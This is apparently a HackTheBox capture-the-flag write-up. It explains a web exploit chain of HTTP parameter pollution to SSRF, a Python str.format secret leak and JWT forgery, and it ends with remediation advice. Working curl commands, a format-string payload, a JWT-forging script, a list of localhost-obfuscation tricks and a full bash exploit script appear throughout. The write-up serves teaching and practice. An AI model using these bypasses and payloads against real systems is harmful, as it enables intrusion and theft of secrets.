July 23, 2026
Offlinea: A Bartender, a Headless Browser, and Five Locks
Platform: HackTheBox (web) | Completed: 2026–07–23 Flag: HTB{[redacted]} Difficulty: Hard | Chain: HTTP Parameter Pollution -> SSRF ->…

By Saria Mubeen
17 min read
Platform: HackTheBox (web) | Completed: 2026–07–23 Flag:
HTB{[redacted]}Difficulty: Hard | Chain: HTTP Parameter Pollution -> SSRF -> Pythonstr.formatleak -> JWT forgery -> secrets read
TL;DR (the whole chain in one breath)
The flag lives in a SQLite row that only the internal Flask endpoint /bartender will hand out, and
only if you present a JWT signed with a random secret. You can't reach /bartender (it's bound to
127.0.0.1) and you can't forge the JWT (the key is os.urandom). So you chain bugs:
- HTTP Parameter Pollution splits the SSRF guard from the SSRF action, PHP validates the last
urlparam (a harmless public site), while Flask acts on the first one (http://127.0.0.1:5000/...). - That gives you SSRF into the internal Flask app, whose responses come back to you as a PDF rendered by the headless Chrome the app uses.
- A Python
str.formatinjection in/logs("...".format(logify=logify)over attacker-controlled text) lets you walklogify.__globals__[app].configand leakSECRET_KEY. - With the key you forge a JWT. A boolean-logic bug in the auth check means almost any token passes.
- SSRF
/bartender?token=…, read the secrets JSON out of the PDF -> flag.
If you just want the exploit, jump to Part 8. If you want to understand it, read on, every step below says why we did it, what concept it rests on, and what else we could have done.
Part 1: The lay of the land
Before touching a single payload, understand the machine. From the challenge Docker build we get the shape:
PUBLIC INTERNAL (loopback only)
------ ------------------------
you -> PHP front Flask @ 127.0.0.1:5000
php -S :8000 /generate URL -> PDF
bartender.php /logs request history
index.html /bartender secrets (JWT)
PHP curls each request to Flask; Flask drives headless
Chrome (selenium), SQLite history.db, PyJWT (HS256).PUBLIC INTERNAL (loopback only)
------ ------------------------
you -> PHP front Flask @ 127.0.0.1:5000
php -S :8000 /generate URL -> PDF
bartender.php /logs request history
index.html /bartender secrets (JWT)
PHP curls each request to Flask; Flask drives headless
Chrome (selenium), SQLite history.db, PyJWT (HS256).Two processes, two trust levels:
- The front (public): a PHP script served by
php -S 0.0.0.0:8000(mapped to the port you connect to). Its whole job is to take aurl, validate it, and forward the request to the internal API. - The back (internal): a Flask app bound to
127.0.0.1:5000, i.e. reachable only from inside the container. It drives a headless Chrome that visits a URL and prints it to PDF, and it holds the database.
Concept, trust boundary._ A trust boundary is a line in a system where the level of "who is allowed to do what" changes. Here the boundary is the loopback interface: the outside world can only talk to PHP; only PHP (and the app's own Chrome) can talk to Flask. Every serious web bug is, at heart,_ making data or control cross a trust boundary it shouldn't_. Our entire job is to get our input to act on the internal side of that line. Keep asking: "which side of the boundary is this code running on, and who is it implicitly trusting?"_
Where is the treasure? (work backwards from the flag)
Don't start by poking inputs. Start by asking where the flag physically is, then trace what stands between
you and it. From init_db.py:
def read_flag():
with open("../../flag.txt", 'r') as f:
return f.read()
...
query = "INSERT INTO secrets (name, secret) VALUES (?, ?)"
values = ('oldest_user_of_bartender', read_flag())def read_flag():
with open("../../flag.txt", 'r') as f:
return f.read()
...
query = "INSERT INTO secrets (name, secret) VALUES (?, ?)"
values = ('oldest_user_of_bartender', read_flag())So the flag is a row in the secrets table, under the name oldest_user_of_bartender. Now: who reads
secrets? Exactly one endpoint:
@app.route('/bartender', methods=['GET'])
@token_required
def protected_memory():
cursor.execute("SELECT name, secret FROM secrets")
...
return jsonify({'secrets': secrets_list}), 200@app.route('/bartender', methods=['GET'])
@token_required
def protected_memory():
cursor.execute("SELECT name, secret FROM secrets")
...
return jsonify({'secrets': secrets_list}), 200That single fact sets the whole plan: reach /bartender with a valid token. Everything else in this
writeup exists only to make that one request possible.
Method, goal-oriented enumeration._ Beginners test every field for every bug. Experienced players fix the_ objective first (read
secrets), then enumerate only the obstacles on that specific path. It turns a huge search space into a short, ordered to-do list.
Part 2: Reading the code like an attacker
Map every endpoint and, for each, note what it trusts and what dangerous thing it does with your input (the "sink"). This table is the attacker's blueprint:
Endpoint Side Takes Dangerous sink GET /bartender.php?url=… PHP (public) url, name, secret curl to internal /generate after a URL "safety" check GET /generate?url=&name=&secret=&time= Flask (internal) those params peek_website(url) -> SSRF; then INSERT secrets(name,secret) GET /logs Flask (internal) - logify(history).format(...) -> format-string injection over stored URLs GET /bartender?token=… Flask (internal) token returns the secrets table (the flag) if the JWT check passes
The intended user flow is innocent: you submit a URL, the bartender's headless Chrome "peeks" at it, renders it to a PDF, and hands you the PDF. Everything we do is an abuse of that peek.
Four sinks jump out:
peek_website(url)fetches an attacker-supplied URL server-side -> textbook SSRF.logify()doeshistory_1.format(logify=logify)wherehistory_1contains URLs we control -> Python format-string injection.token_requiredis our authentication gate, worth reading its logic carefully (it has a bug).- There's even a bonus bug we won't need:
open(f"../service/pdfs/results-{timestamp}.pdf","wb")with atimeparam we can control (HPP again) -> arbitrary-path PDF write / traversal. Noting it and moving on is itself a skill: don't chase every bug, chase the one on the path to the flag.
Part 3: The five locks
Between us and the flag are five interlocking locks. Naming them turns "this is hard" into a checklist:
- Authorization: the flag only comes out of
/bartender, which requires a JWT. - Unforgeable key:
app.config['SECRET_KEY'] = os.urandom(32).hex(), a fresh 256-bit random key each boot. No dictionary, no default, no reuse. - Reachability:
/logsand/bartenderare on127.0.0.1:5000, you cannot hit them from outside. - The SSRF guard: the one URL you can make the server fetch is filtered, PHP's
no_way_trick_me()plus Flask'sis_request_safe()plus acheck_equiv()anti-redirect check. - The {} filter: the format-string payload needs literal braces, and PHP rejects any
urlcontaining { or }.
Concept, vulnerability chaining._ No single one of these is "the bug." Lock 2 forces you to_ leak the key (lock needs a format-string), which needs you to reach
/logs(lock 3 needs SSRF), which needs to beat the guard (lock 4) and the brace filter (lock 5). Chaining is the art of using the output of one weakness as the key to the next. Draw the dependency graph and the exploit order writes itself:
beat guard + brace filter -> SSRF /logs -> format-string -> leak SECRET_KEY -> forge JWT -> SSRF /bartender -> flag
Part 4: Choosing the door (the reasoning journey)
This is the part most writeups skip: how do you decide what to try? Here is every avenue I considered, why it was tempting, and why it lived or died. The failures teach more than the success.
4.1: Just forge the JWT? (dead: random key)
The dream: skip everything, mint an admin token, call /bartender. Why it fails needs a concept.
Concept, JWT and HMAC signing. A JWT is
base64url(header).base64url(payload).base64url(signature). ForHS256, the signature isHMAC-SHA256(header + "." + payload, SECRET_KEY). HMAC is a keyed hash: to produce a signature the server will accept, you must know the key.jwt.decode(token, key, ...)recomputes that HMAC and compares. Because the key here isos.urandom(32), 256 bits of entropy, you cannot guess, brute-force, or look it up. Forging blind is impossible; you must learn ****the key first._ That single realization is what makes the format-string leak (Part 5, Step 2)_ mandatory rather than optional.
4.2: alg:none or algorithm confusion? (dead: pinned algorithm)
The classic JWT tricks: set "alg":"none" (some libraries then skip signature checks), or RS256->HS256
confusion (sign with the public key as an HMAC secret). Both are killed by one line:
jwt.decode(token, app.config['SECRET_KEY'], algorithms=["HS256"])jwt.decode(token, app.config['SECRET_KEY'], algorithms=["HS256"])Concept, the JWT attack catalog and why the fix works.
algorithms=["HS256"]is an allowlist.alg:nonetokens are rejected becausenoneisn't in the list.RS->HSconfusion needs the verifier to acceptRS256; it won't.kid/jku/jwkheader injection needs the library to fetch keys by header - PyJWT with a static key doesn't. So the only JWT path left is the honest one: get the real key, sign properly. Ruling these out fast (one glance at thedecodecall) saves hours.
4.3: Direct SSRF to 127.0.0.1, every encoding I know (dead: a very good filter)
If I can just make peek_website fetch http://127.0.0.1:5000/logs, I'm in. So I threw the whole
localhost-obfuscation playbook at it. Every one was rejected (redirect to no_way.pdf). Here's the batch
with real timings, and why each failed, this table is the SSRF-filter lesson:
Payload host Result Why it dies 127.0.0.1 reject 0.5s PHP filter_var(...,NO_PRIV_RANGE) flags it; ip_in_range matches 127.0.0.0/8 localhost reject 0.6s gethostbyname("localhost") -> 127.0.0.1 -> range block [::1] reject 0.5s in the ::1/128 blocklist; and Flask binds IPv4 anyway [::ffff:127.0.0.1] reject 2.9s curl did reach Flask (200) but PHP filter_var flags IPv4-mapped as reserved 2130706433 (decimal) reject 0.5s gethostbyname/inet_aton normalizes decimal -> 127.0.0.1 -> block 0x7f000001 (hex) reject 1.5s same, glibc inet_aton accepts hex -> 127.0.0.1 0177.0.0.1 (octal) reject 0.7s inet_aton octal -> 127.0.0.1 127.1 (short) reject 1.3s inet_aton expands -> 127.0.0.1 127.0.0.1. (trailing dot) reject 1.9s curl can't resolve the FQDN form without DNS -> url_check fails 127.0.0.<TAB>1, \n, \r reject this build's curl keeps the control char -> can't reach 127
Concept, how an SSRF IP filter actually works (and why it's hard to beat here)._ The guard has three teeth working together:_
gethostbyname($host), resolves the host to an IP, then checks it against private ranges. glibc's resolver is lenient: it turns decimal/hex/octal/short forms all into127.0.0.1, so every numeric obfuscation is caught here.filter_var($host, FILTER_VALIDATE_IP, NO_PRIV_RANGE|NO_RES_RANGE), if the host is a literal IP, reject private/reserved ones. PHP 8.2 treats IPv4-mapped IPv6 (::ffff:127.0.0.1) as reserved, so that slick trick dies here.url_check(), actuallycurls the URL and requires HTTP 200. This is the killer: to obfuscate the host past teeth 1-2 you must deform it, but any deformation that fools PHP also stops curl from connecting to 127, sourl_checkfails. The three teeth are coupled, that's what makes this filter genuinely strong. The lesson: when a filter validates and then fetches with the same parser, single- string obfuscation is a dead end. You need a different trick, a parser disagreement (4.6).
4.4: Public-IP SSRF, or an open-redirect chain? (dead: no egress)
If I can't reach 127 directly, maybe I bounce off an external server I control (host a redirect to 127, or a page whose content I choose). First I checked whether the box can even reach the internet. I fed it literal public IPs:
93.184.216.34 -> no_way after 4.6s (curl tried, hung, failed)
1.1.1.1 -> no_way after 0.5s (refused fast)
8.8.8.8 -> my curl timed out at 30s (the box's curl hung outbound)93.184.216.34 -> no_way after 4.6s (curl tried, hung, failed)
1.1.1.1 -> no_way after 0.5s (refused fast)
8.8.8.8 -> my curl timed out at 30s (the box's curl hung outbound)Hanging/failing outbound connections = egress filtering: the container has no outbound HTTP. That kills:
external redirect chains, hosting my own decoy/payload page, and any exfil-to-my-server idea. Also note
check_equiv(driver.current_url, url) in peek_website, it rejects the fetch if the final URL after
redirects differs from the requested one, so redirect-based SSRF is blocked even with egress.
Concept, egress filtering & timing oracles._ "Egress" is outbound traffic. Many CTF/prod containers allow_ inbound to the app but block outbound_, so an SSRF can only reach_ internal services, never call home. I proved it without any special tool, purely by timing: a rejected URL returns instantly (
no_waybefore Chrome even starts), while an accepted-but-unreachable URL makes curl hang for seconds before failing. Fast-vs-slow is a free oracle for "did my input get past the front-door check?" - I used it throughout to fingerprint the guard's behavior without ever seeing its code output.
4.5: DNS rebinding (would work: the "proper" bypass: but set aside)
This is the textbook way to beat a resolve-then-fetch SSRF guard, and it's worth understanding in full even though a cleaner bug won the day.
Concept, DNS rebinding (TOCTOU on a hostname). The guard resolves
evil.com-> sees a public IP -> approves. Moments later the fetcher resolvesevil.comagain -> now gets127.0.0.1-> connects internal. The gap between the Time-Of-Check and Time-Of-Use is the bug: you control the DNS, so you answer differently on the two lookups (or return both IPs and let each side pick a different one). Because the host stays a domain name,check_equivis happy (the netloc never changes), which, notably, is exactly why a domain-name approach is the only family that survives that anti-redirect check.
Why it's harder here specifically: is_request_safe() demands the DNS answer's TTL ≥ 40:
if current_ttl >= min_ttl: # min_ttl = 40
return Trueif current_ttl >= min_ttl: # min_ttl = 40
return TrueThat's a deliberate anti-rebind gate, normal fast rebinders (rbndr, 1u.ms) publish TTL 1 so they can
flip instantly, and TTL 1 < 40 -> rejected. The way through is a multi-answer record: publish both
[<public IP>, 127.0.0.1] with TTL ≥ 40; is_request_safe only checks the TTL, not which IP, so it passes,
PHP's gethostbyname takes the public one (approves), and Chrome, with the dead public IP:5000 refusing -
falls through to 127.0.0.1:5000. It works, but it needs a domain whose DNS I control, and this box's
no-egress posture made me (wrongly) think rebinding was impossible for a while. I burned real time here.
Why I set it aside: it requires owning/serving DNS, and, as the next section shows, there was a far cheaper bug that needs no infrastructure at all. Lesson banked: enumerate cheap parser differentials before reaching for infrastructure-heavy techniques like rebinding.
4.6: HTTP Parameter Pollution (the winning door)
Recall the dead end from 4.3: the guard fails single-string obfuscation because it validates and fetches
with the same parser. The escape is to make two different parsers disagree about the same request -
and the request has an obvious seam: PHP forwards the raw query string to Flask, and both read a param
named url. What if there are two url params?
That's HTTP Parameter Pollution, and it's the whole ballgame. Details in Part 5, Step 1.
Part 5: The exploit, step by step
Each step: the reason, the concept, the real command, the real output.
Step 1: HPP: split the guard from the action
Reason. PHP checks the url it thinks you sent; Flask acts on the url it reads. If those are
different values, PHP can bless a harmless URL while Flask fetches the internal one.
Look at how PHP forwards the request:
$urlunsanitized = $_GET['url']; // PHP: last 'url' wins
if (!no_way_trick_me($urlunsanitized)) { redirect no_way; }
$final_url = $api_scraper . $_SERVER['QUERY_STRING'] . "&time=".$t; // forwards the RAW query string$urlunsanitized = $_GET['url']; // PHP: last 'url' wins
if (!no_way_trick_me($urlunsanitized)) { redirect no_way; }
$final_url = $api_scraper . $_SERVER['QUERY_STRING'] . "&time=".$t; // forwards the RAW query string$_GET['url']in PHP returns the last occurrence of a duplicated key.$_SERVER['QUERY_STRING']is the raw string (url=A&url=B&...), forwarded verbatim to Flask.- Flask/Werkzeug's
request.args.get('url')returns the first occurrence.
So with ?url=<internal>&url=<public>:
- PHP validates
<public>(the last) -> passes the guard. - Flask fetches
<internal>(the first) -> SSRF into loopback.
Concept, HTTP Parameter Pollution (HPP)._ HTTP never says what a server should do with a repeated query key, so every stack picked its own rule. When two components in one request pipeline pick_ different rules, a value that one component validated is not the value the other one uses:
Stack
?x=a&x=byields PHP ($_GET)b(last) Python Flask/Werkzeug (.get)a(first) ASP.NET (Request.QueryString)a,b(comma-joined) Node/Express['a','b'](array) Java servlet (getParameter)a(first)
A PHP front + Python back is the perfect mismatch: last-vs-first. HPP is a parser differential_, the same class of bug as the URL/tab tricks I tried in 4.3, but here the disagreement is about_ parameter selection instead of host parsing_, and crucially it needs no deformation of the value, so it sails past every filter._
Bonus, it also beats the {} filter (lock 5). PHP's brace check runs on $_GET['url'], the last
param. So the format-string payload (full of {}) rides in the first url, which PHP never inspects.
Two locks fall to one trick.
Why info.cern.ch as the decoy. PHP's url_check() actually curls the decoy and requires HTTP 200,
so the decoy must be a real, reachable, 200-returning page. info.cern.ch (the first website ever) is a
stable plain-HTTP 200, and since it's public, it also passes the private-range checks. (It only works
because the box's DNS egress resolves it; recall HTTP egress is blocked, but the decoy only needs to answer
url_check's curl, which it does over the allowed path.)
Command, prove SSRF by rendering the internal /logs:
T="http://TARGET"
curl -sL "$T/bartender.php?url=http%3A%2F%2F127.0.0.1%3A5000%2Flogs&url=http%3A%2F%2Finfo.cern.ch%2F&name=test&secret=test" -o s1.pdf
pdftotext s1.pdf - | head
# -> "Bartender-log" ... (the internal /logs page, rendered to PDF, SSRF confirmed)T="http://TARGET"
curl -sL "$T/bartender.php?url=http%3A%2F%2F127.0.0.1%3A5000%2Flogs&url=http%3A%2F%2Finfo.cern.ch%2F&name=test&secret=test" -o s1.pdf
pdftotext s1.pdf - | head
# -> "Bartender-log" ... (the internal /logs page, rendered to PDF, SSRF confirmed)The response is a 302 to /pdfs/results-<t>.pdf; following it downloads the PDF Chrome produced of the
internal page. The headless browser is our read primitive, see Part 6.
Step 2: Format-string injection: turn /logs into a memory-reader
Reason. We can now render /logs. /logs runs .format() over the URLs stored in history, and we can
store a URL. So we store a URL that is a format-string payload, then render /logs again to detonate it.
The sink:
def logify(rec):
history = [f"ID: {row[0]} | URL: {row[1]} | Timestamp: {row[2]}" for row in rec]
history_1 = '\n'.join(history)
log = history_1.format(logify=logify) # ← .format() over attacker-controlled URLs
return logdef logify(rec):
history = [f"ID: {row[0]} | URL: {row[1]} | Timestamp: {row[2]}" for row in rec]
history_1 = '\n'.join(history)
log = history_1.format(logify=logify) # ← .format() over attacker-controlled URLs
return logConcept, Python string formatting, and why
.format()on attacker data is dangerous. Python has three formatters: , %-formatting:"hi %s" % name, old, limited. , f-strings:f"hi {name}", evaluated at compile time against local scope; not injectable via runtime data. ,str.format():"hi {0}".format(name), evaluated at runtime, and its mini-language lets a field navigate object graphs:{0.attr}accesses an attribute,{0[key]}an index/dict key. If the format string itself is attacker-controlled, the attacker chooses what to navigate to.
Here the format string is the joined history (our URL is in it), and
logify=logifypasses thelogifyfunction into the namespace. That's the pivot:
{logify.__globals__[app].config}
,
logify.__globals__, every function object carries a reference to the module globals it was defined in. So from any reachable function you get the whole module namespace as a dict. ,[app], index that dict for'app'-> the Flask application object. ,.config, the app's config mapping, which containsSECRET_KEY.
str.formatstringifies whatever you navigate to, so the rendered log prints the entire config dict. This is the canonical "format-string -> object-graph -> secret" leak, and it's why you must never call.format()/.format_map()on untrusted format strings.
Why two requests (plant, then trigger). peek_website renders the page before it INSERTs the URL
into history. So the request that plants the payload renders a clean /logs (payload not stored yet); a
second /logs render is when the stored payload gets .format()-ed and leaks.
Command, plant, then leak:
# PLANT: first url carries the payload (braces survive: PHP only brace-checks the LAST url)
P='http://127.0.0.1:5000/logs?{logify.__globals__[app].config}'
enc=$(python -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1],safe=''))" "$P")
curl -sL "$T/bartender.php?url=$enc&url=http%3A%2F%2Finfo.cern.ch%2F&name=test&secret=test" -o plant.pdf
# LEAK: render /logs again -> the stored payload detonates
curl -sL "$T/bartender.php?url=http%3A%2F%2F127.0.0.1%3A5000%2Flogs&url=http%3A%2F%2Finfo.cern.ch%2F&name=test&secret=test" -o leak.pdf
pdftotext leak.pdf - | grep -o "SECRET_KEY[^,]*"# PLANT: first url carries the payload (braces survive: PHP only brace-checks the LAST url)
P='http://127.0.0.1:5000/logs?{logify.__globals__[app].config}'
enc=$(python -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1],safe=''))" "$P")
curl -sL "$T/bartender.php?url=$enc&url=http%3A%2F%2Finfo.cern.ch%2F&name=test&secret=test" -o plant.pdf
# LEAK: render /logs again -> the stored payload detonates
curl -sL "$T/bartender.php?url=http%3A%2F%2F127.0.0.1%3A5000%2Flogs&url=http%3A%2F%2Finfo.cern.ch%2F&name=test&secret=test" -o leak.pdf
pdftotext leak.pdf - | grep -o "SECRET_KEY[^,]*"Real output:
ID: 2 | URL: http://127.0.0.1:5000/logs?<Config {'DEBUG': False, ...,
'SECRET_KEY': 'e9e9cd0d1979a97640729d0dc3ca6ef1274454d6df016964d6d2d1ce68a24cb9', ...ID: 2 | URL: http://127.0.0.1:5000/logs?<Config {'DEBUG': False, ...,
'SECRET_KEY': 'e9e9cd0d1979a97640729d0dc3ca6ef1274454d6df016964d6d2d1ce68a24cb9', ...Step 3: What we just leaked
app.config is Flask's central settings mapping. SECRET_KEY sits there because Flask uses it to sign
sessions and (here) JWTs. Leaking the config = leaking the signing key:
SECRET_KEY = e9e9cd0d1979a97640729d0dc3ca6ef1274454d6df016964d6d2d1ce68a24cb9SECRET_KEY = e9e9cd0d1979a97640729d0dc3ca6ef1274454d6df016964d6d2d1ce68a24cb9Lock 2 is now open.
Step 4: Forge the JWT (and abuse a logic bug)
Reason. With the key we can mint a token the server will accept. But look closely at the check, it has a bug that makes our life even easier:
data = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
if not data.get('is_admin') and data.get('username') == 'bartender':
return jsonify({'message': 'Admin access required!'}), 403data = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
if not data.get('is_admin') and data.get('username') == 'bartender':
return jsonify({'message': 'Admin access required!'}), 403Concept, a boolean-logic authorization bug. The 403 fires only when both conditions are true:
(not is_admin)AND(username == 'bartender'). Walk the truth table:
is_adminusernamenot is_admin and username=='bartender'Result truebartenderFalse and True-> False allowed falsealiceTrue and False-> False allowed truealiceFalse and False-> False allowed falsebartenderTrue and True-> True ❌ blocked
Only the single combination "not admin and literally named bartender" is blocked. Any validly signed token that either sets
is_admintruthy or uses any other username passes. The intended gate was probably "must be admin"; the sloppy boolean makes it "must not be the one non-admin we named." Classic over-permissive check. We satisfy it trivially with{"is_admin": true, "username": "bartender"}.
Concept, building the token by hand (no library needed; it demystifies JWT):
import hmac, hashlib, base64, json
key = 'e9e9cd0d1979a97640729d0dc3ca6ef1274454d6df016964d6d2d1ce68a24cb9'
b = lambda x: base64.urlsafe_b64encode(x).rstrip(b'=') # base64url, no padding
h = b(json.dumps({"alg":"HS256","typ":"JWT"}, separators=(',',':')).encode())
p = b(json.dumps({"is_admin":True,"username":"bartender"}, separators=(',',':')).encode())
sig = b(hmac.new(key.encode(), h+b'.'+p, hashlib.sha256).digest()) # HMAC over "header.payload"
print((h+b'.'+p+b'.'+sig).decode())
# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc19hZG1pbiI6dHJ1ZSwidXNlcm5hbWUiOiJiYXJ0ZW5kZXIifQ.1hzb3WCeO3EiFoNgNzA0_XKstKMUb68SvQ3KQEZ4BMgimport hmac, hashlib, base64, json
key = 'e9e9cd0d1979a97640729d0dc3ca6ef1274454d6df016964d6d2d1ce68a24cb9'
b = lambda x: base64.urlsafe_b64encode(x).rstrip(b'=') # base64url, no padding
h = b(json.dumps({"alg":"HS256","typ":"JWT"}, separators=(',',':')).encode())
p = b(json.dumps({"is_admin":True,"username":"bartender"}, separators=(',',':')).encode())
sig = b(hmac.new(key.encode(), h+b'.'+p, hashlib.sha256).digest()) # HMAC over "header.payload"
print((h+b'.'+p+b'.'+sig).decode())
# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc19hZG1pbiI6dHJ1ZSwidXNlcm5hbWUiOiJiYXJ0ZW5kZXIifQ.1hzb3WCeO3EiFoNgNzA0_XKstKMUb68SvQ3KQEZ4BMgStep 5: Read /bartender, take the flag
Reason. Same HPP-SSRF, now aimed at the JWT-gated endpoint with our forged token. The secrets JSON comes back inside the PDF.
JWT="eyJhbGci...Q3KQEZ4BMg"
inner=$(python -c "import urllib.parse,sys;print(urllib.parse.quote('http://127.0.0.1:5000/bartender?token='+sys.argv[1],safe=''))" "$JWT")
curl -sL "$T/bartender.php?url=$inner&url=http%3A%2F%2Finfo.cern.ch%2F&name=test&secret=test" -o flag.pdf
pdftotext flag.pdf - | grep -o 'HTB{[^}]*}'JWT="eyJhbGci...Q3KQEZ4BMg"
inner=$(python -c "import urllib.parse,sys;print(urllib.parse.quote('http://127.0.0.1:5000/bartender?token='+sys.argv[1],safe=''))" "$JWT")
curl -sL "$T/bartender.php?url=$inner&url=http%3A%2F%2Finfo.cern.ch%2F&name=test&secret=test" -o flag.pdf
pdftotext flag.pdf - | grep -o 'HTB{[^}]*}'Real output:
{"secrets":[{"name":"oldest_user_of_bartender","secret":"HTB{[redacted]}"}, ...]}{"secrets":[{"name":"oldest_user_of_bartender","secret":"HTB{[redacted]}"}, ...]}HTB{[redacted]}
Part 6: Concept deep-dives (the appendix that makes it stick)
SSRF (Server-Side Request Forgery). You make the server issue a request of your choosing. Its power is
that the server sits behind the trust boundary, it can reach internal services, cloud metadata
(169.254.169.254), and localhost that you can't. Impact ranges from internal port-scans to full cloud
takeover. The defense is an allowlist of destinations plus resolve-then-pin (resolve the host once,
then connect to that exact IP, so no rebinding).
Headless browser as a read-oracle. Normally SSRF is "blind", you can't see the internal response. Here
the app renders the fetched page to a PDF and hands it back, turning blind SSRF into a full read
primitive: whatever the internal endpoint returns, you literally read it out of the PDF with pdftotext.
Any "screenshot this URL / generate a PDF of this page / link-preview" feature is a candidate for exactly
this. (Related side-channels: the sleep(5) + redirect-target behavior we used as a timing/redirect
oracle to fingerprint the guard.)
Parser differentials (the meta-lesson). Two pieces of software parsing the same bytes differently is a bug factory. We saw it twice: the host parsers (curl vs PHP vs Python, the tab/backslash/IPv6 tricks) and the parameter parsers (PHP last vs Werkzeug first, HPP). Whenever input passes through more than one parser (proxy->app, validator->fetcher, gateway->service), ask: do they agree on host, path, params, encoding? Where they disagree, a value one trusts is not the value the other uses.
The format-string / template-injection family. str.format, %, .format_map, and Jinja SSTI
({{7*7}}) are all "the template string is data" bugs. The shared root: never let untrusted input be the
format/template itself (it's fine as an argument). Reachability of objects (__globals__, __class__,
__mro__, config) is what turns a leak into RCE in the worst cases.
JWT internals + the alg attacks. header.payload.signature, all base64url. Security lives entirely in the
signature and in the verifier's algorithms allowlist. Attacks: alg:none, RS256->HS256 confusion,
kid/jku/jwk injection, and, as here, key disclosure (once the key leaks, forging is trivial).
IP-representation cheat-sheet (which parser sees what): 127.0.0.1 = 2130706433 (decimal) =
0x7f000001 (hex) = 0177.0.0.1 (octal) = 127.1 (short) = [::ffff:127.0.0.1] (IPv4-mapped). Lenient
resolvers (inet_aton) collapse them all to 127.0.0.1; strict validators (ipaddress, filter_var) may
accept or reject different subsets, the gap between "what the validator accepts" and "what the connector
resolves" is the SSRF bypass surface.
check_equiv / normalization as anti-redirect. By requiring final URL == requested URL, the app blocks
"submit a benign URL that 302-redirects to 127.0.0.1." It's why redirect-based SSRF failed and why only a
stable host (a domain, via rebinding, or the loopback-via-HPP we used) works.
Part 7: How to fix it (why each patch works)
Bug Fix Why it works HPP (last-vs-first) Canonicalize params before validating and forwarding; reject duplicate url. Validate the exact value you will act on. Removes the parser disagreement, the value checked is the value used. SSRF Allowlist destinations; resolve-then-pin to the resolved IP; forbid loopback/link-local/private. The fetch can't reach anything you didn't intend, and can't be rebound. str.format injection Never .format() attacker data. Log with %/f-strings over parameters, or format_map with a locked-down mapping. The template is no longer attacker-controlled, so no object-graph navigation. {} filter reliance Don't rely on input blacklists for a code-exec sink; fix the sink (above). Blacklists are bypassable (HPP proved it); the sink fix is definitive. JWT authz logic if not (data.get('is_admin') is True): return 403 (require the positive condition). Fails closed, only explicit admins pass, no username loophole. Secret reachable via config leak Keep signing keys out of any object reachable from logging/formatting; rotate on boot is good but insufficient if leakable. Removes the target of the format-string pivot. Chrome -> internal Run the renderer with no route to 127.0.0.1:5000, or on a network namespace that can't reach the app. Even a successful SSRF has nothing internal to hit.
Part 8: The full exploit script
#!/usr/bin/env bash
# Offlinea full chain: HPP-SSRF -> str.format leak -> JWT forge -> read secrets
set -euo pipefail
T="${1:-http://TARGET}"
DECOY='http%3A%2F%2Finfo.cern.ch%2F' # public 200 page for PHP's url_check
enc(){ python -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1],safe=''))" "$1"; }
ssrf(){ curl -sL "$T/bartender.php?url=$(enc "$1")&url=$DECOY&name=x&secret=x" -o "$2"; } # $1=internal url, $2=out.pdf
# 1) plant the format-string payload into history (braces ride the FIRST url; PHP only checks the LAST)
ssrf 'http://127.0.0.1:5000/logs?{logify.__globals__[app].config}' plant.pdf
# 2) render /logs again -> payload detonates -> leak SECRET_KEY
ssrf 'http://127.0.0.1:5000/logs' leak.pdf
KEY=$(pdftotext leak.pdf - | grep -oE "[a-f0-9]{64}" | head -1)
echo "[+] SECRET_KEY = $KEY"
# 3) forge an accepted JWT (is_admin true satisfies the buggy authz check)
JWT=$(python - "$KEY" <<'PY'
import hmac,hashlib,base64,json,sys
k=sys.argv[1].encode(); b=lambda x:base64.urlsafe_b64encode(x).rstrip(b'=')
h=b(json.dumps({"alg":"HS256","typ":"JWT"},separators=(',',':')).encode())
p=b(json.dumps({"is_admin":True,"username":"bartender"},separators=(',',':')).encode())
print((h+b'.'+p+b'.'+b(hmac.new(k,h+b'.'+p,hashlib.sha256).digest())).decode())
PY
)
echo "[+] JWT = $JWT"
# 4) SSRF the JWT-gated endpoint, read the flag out of the PDF
ssrf "http://127.0.0.1:5000/bartender?token=$JWT" flag.pdf
echo "[+] FLAG = $(pdftotext flag.pdf - | grep -oE 'HTB\{[^}]*\}' | head -1)"#!/usr/bin/env bash
# Offlinea full chain: HPP-SSRF -> str.format leak -> JWT forge -> read secrets
set -euo pipefail
T="${1:-http://TARGET}"
DECOY='http%3A%2F%2Finfo.cern.ch%2F' # public 200 page for PHP's url_check
enc(){ python -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1],safe=''))" "$1"; }
ssrf(){ curl -sL "$T/bartender.php?url=$(enc "$1")&url=$DECOY&name=x&secret=x" -o "$2"; } # $1=internal url, $2=out.pdf
# 1) plant the format-string payload into history (braces ride the FIRST url; PHP only checks the LAST)
ssrf 'http://127.0.0.1:5000/logs?{logify.__globals__[app].config}' plant.pdf
# 2) render /logs again -> payload detonates -> leak SECRET_KEY
ssrf 'http://127.0.0.1:5000/logs' leak.pdf
KEY=$(pdftotext leak.pdf - | grep -oE "[a-f0-9]{64}" | head -1)
echo "[+] SECRET_KEY = $KEY"
# 3) forge an accepted JWT (is_admin true satisfies the buggy authz check)
JWT=$(python - "$KEY" <<'PY'
import hmac,hashlib,base64,json,sys
k=sys.argv[1].encode(); b=lambda x:base64.urlsafe_b64encode(x).rstrip(b'=')
h=b(json.dumps({"alg":"HS256","typ":"JWT"},separators=(',',':')).encode())
p=b(json.dumps({"is_admin":True,"username":"bartender"},separators=(',',':')).encode())
print((h+b'.'+p+b'.'+b(hmac.new(k,h+b'.'+p,hashlib.sha256).digest())).decode())
PY
)
echo "[+] JWT = $JWT"
# 4) SSRF the JWT-gated endpoint, read the flag out of the PDF
ssrf "http://127.0.0.1:5000/bartender?token=$JWT" flag.pdf
echo "[+] FLAG = $(pdftotext flag.pdf - | grep -oE 'HTB\{[^}]*\}' | head -1)"Mistakes & detours (the honest part)
- I over-invested in DNS rebinding. The
min_ttl=40gate + no egress convinced me the SSRF needed heavy DNS infrastructure. The real bug, HPP, needs nothing. Lesson: when input crosses two components, test the cheap parser differential (duplicate params, encoding, host quirks) before reaching for infrastructure-grade techniques. - I read
filter_var/gethostbynametoo late. Understanding the guard's three coupled teeth earlier would have told me single-string obfuscation was hopeless and pushed me to a differential sooner.
What I'd do faster next time
